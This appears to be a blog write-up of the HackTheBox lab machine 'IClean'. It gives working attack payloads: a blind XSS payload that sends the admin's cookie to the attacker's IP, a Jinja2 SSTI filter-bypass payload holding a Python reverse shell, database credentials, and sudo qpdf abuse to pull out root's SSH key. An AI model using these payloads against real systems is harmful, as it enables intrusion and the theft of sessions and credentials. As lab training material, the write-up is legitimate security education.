HackTheBox: Account

Contact: [email protected]

Follow me on: X

Check My: Github

IClean

IClean

Last modified: 2024-08-02 16:49:31

Machine name OS IP Difficulty
IClean Linux 10.10.11.12 Medium

User

  1. Check if the host is responsive

First, let's verify that we can reach the host using a simple ping command:

└─# ping 10.10.11.12            
PING 10.10.11.12 (10.10.11.12) 56(84) bytes of data.
64 bytes from 10.10.11.12: icmp_seq=1 ttl=63 time=108 ms
64 bytes from 10.10.11.12: icmp_seq=2 ttl=63 time=105 ms
  1. Check the running services

Let's check all running services and their versions using the `nmap` command:
└─# nmap -sV -A 10.10.11.12 -Pn
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.10.11.12
Host is up (0.36s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 2c:f9:07:77:e3:f1:3a:36:db:f2:3b:94:e3:b7:cf:b2 (ECDSA)
|_  256 4a:91:9f:f2:74:c0:41:81:52:4d:f1:ff:2d:01:78:6b (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=7/1%OT=22%CT=1%CU=37945%PV=Y%DS=2%DC=T%G=Y%TM=6682F
OS:CAF%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10A%TI=Z%CI=Z%TS=A)SEQ(SP
OS:=106%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M53AST11NW7%O2=M53AST11NW7
OS:%O3=M53ANNT11NW7%O4=M53AST11NW7%O5=M53AST11NW7%O6=M53AST11)WIN(W1=FE88%W
OS:2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53ANN
OS:SNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y
OS:%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR
OS:%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40
OS:%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G
OS:%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 8888/tcp)
HOP RTT       ADDRESS
1   516.63 ms 10.10.16.1
2   688.65 ms 10.10.11.12

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.99 seconds

The output shows interesting opened ports:

The operating system of the machine is, of course, Linux, most likely Ubuntu (based on the OpenSSH and Apache versions); we will verify this later.

  1. Inspect the web application on port 80

└─# whatweb 10.10.11.12    
http://10.10.11.12 [200 OK] Apache[2.4.52], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.10.11.12], Meta-Refresh-Redirect[http://capiclean.htb]
http://capiclean.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[[email protected]], HTML5, HTTPServer[Werkzeug/2.3.7 Python/3.10.12], IP[10.10.11.12], JQuery[3.0.0], Python[3.10.12], Script, Title[Capiclean], Werkzeug[2.3.7], X-UA-Compatible[IE=edge]
10.10.11.12 capiclean.htb

Using the whatweb tool, we are able to determine the technologies used to build the web application. Here are the two main technologies identified:

While exploring the application, I found a few endpoints:

If we input something and send it, it's likely sent to the administrator, based on the information shown on the returned page:

There is a chance that there is an XSS vulnerability and we can steal the cookie, but we don't know how the page is rendered for the administrator, so we have to try blindly.

| NOTE: Some of the endpoints can be found using feroxbuster:

  1. Blind XSS vulnerability

To receive cookies, we need to start our local server:

nc -nvlp 8888

Testing a few payloads, but some of them are probably blocked:

With this cookie, we can bypass the login form and access the dashboard (administration) at the endpoint http://capiclean.htb/dashboard. Using the F12 key in Google Chrome, we can set the cookie:

| NOTE: The entire request with the payload looks like this:

POST /sendMessage HTTP/1.1
Host: capiclean.htb
Content-Length: 116
Cache-Control: max-age=0
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
Origin: http://capiclean.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://capiclean.htb/quote
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
X-Forwarded-For: 10.10.16.3

service=<img+src=x+onerror='fetch("http://10.10.16.4:8888/?data="%2bdocument.cookie)'/>&email=asdsad%40asd.test
  1. Inspect the dashboard endpoint.

There are a few steps involved in generating an invoice...

I discovered an SSTI vulnerability in the third step (the third endpoint that takes the link of the QR code as input).

POST /QRGenerator HTTP/1.1
Host: capiclean.htb
Content-Length: 58
Cache-Control: max-age=0
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
Origin: http://capiclean.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://capiclean.htb/QRGenerator
Accept-Encoding: gzip, deflate, br
Cookie: session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.Zqu0dg.IXqn28v4gQaR4bRxeeLlI1Lv5X8
Connection: keep-alive

invoice_id=&form_type=scannable_invoice&qr_link="/>{{7*7}}

This will return:

Next, we need to find a payload that executes shell commands.

  1. Exploiting SSTI

Using PayloadsAllTheThings, we can find the payload:

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

Replace the id command with a reverse shell using the online tool Reverse Shell Generator. The final payload is:

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('python3+-c+"import+socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.16.4\",8888));os.dup2(s.fileno(),0);+os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import+pty;+pty.spawn(\"sh\")"')|attr('read')()}}

We need to start the listener:

nc -nvlp 888

Using this payload, we obtain a reverse shell:

  1. Horizontal privilege escalation

Since we don't have access to the consuela user, we need to find a way to escalate horizontally and switch users.

Using the command ss -tulpn, we can find all open ports:

There is a MySQL database running on port 3306. We need to find a password to connect.

In the application source code (/opt/app/app.py), there is a database configuration:

And with the command mysql -h 127.0.0.1 -u iclean --password=pxCsmnGLckUb, we can connect to the database:

Using a few commands, we can read the database:

We need to crack the consuela password and hope that it is the same as the password for the Linux user.

  1. User flag

By using hash-identifier, we can determine the type of the hash:

By cracking it using CrackStation (rainbow tables - precalculated hashes), we obtain the password:

We have the password; we can try to SSH into consuela, and we are in the machine:

And the user flag is in /home/consuela/user.txt file.

Root

  1. sudo permissions

First, we check if we have any sudo permissions:

There is one binary that we can run as root - /usr/bin/qpdf.

  1. Using qpdf

Using the qpdf binary (the usage of this binary can be found in this documentation), we can embed some files inside a PDF file. I was curious about which files are inside the /root folder and often find SSH files there. Let's extract /root/.ssh/id_rsa if the file exists in the filesystem:

sudo /usr/bin/qpdf --empty --add-attachment /root/.ssh/id_rsa -- test.pdf

| NOTE: We can extract /root/root.txt, but that's not enough; we want a shell as root!

To download the file, we can simply start an HTTP server on the target system and download it using the following commands:

python3 -m http.server 18000

Download it using wget:

wget 10.10.11.12:18000/test.pdf 

Extract it using binwalk:

binwalk -e test.pdf --run-as=root

We can find the SSH key inside _test.pdf.extracted/209.

  1. Root flag

SSH into the machine as root:

ssh -i 209 [email protected]

| NOTE: Don't forget to change the permissions of the private key using chmod 600 <filename>.

Assumptions verifications

  1. Running OS

We assumed, based on the OpenSSH version, that the running OS is Ubuntu. Let's verify it using the uname -a and cat /etc/os-release commands:

root@iclean:~# uname -a
Linux iclean 5.15.0-101-generic #111-Ubuntu SMP Tue Mar 5 20:16:58 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux

root@iclean:~# cat /etc/os-release 
PRETTY_NAME="Ubuntu 22.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.4 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy

Running OS - Ubuntu 22.04.4 LTS.

  1. Investigating XSS vulnerabilities

The payload <script>document.location="http://10.10.16.3:18000/?data="%2bdocument.cookie</script> doesn't work. But why?

Using ps aux, we can list all running processes. The bot (which opens the pages) process must be running on the machine because it accesses the database, which is listening on localhost:

We can check the source code to identify the problem: The bot will load the page and wait 3 seconds or until networkidle2 (navigation is considered complete when there are no more than 2 active network requests for at least 500 milliseconds). One of these attributes can cancel the redirection, so JavaScript inside the image is a more reliable option.

| NOTE: By the way, there is an admin password and the password is so strong, that there's no way we can brute-force it on the web page.

  1. Identifying parameters vulnerable to XSS

Let's examine /opt/app/templates/QuoteRequestDetail.html; there is something interesting:

The {{ ... | safe }} directive tells the framework that the input is trusted and safe to be rendered as it is and does not have to be encoded.

Table of Contents

Back to home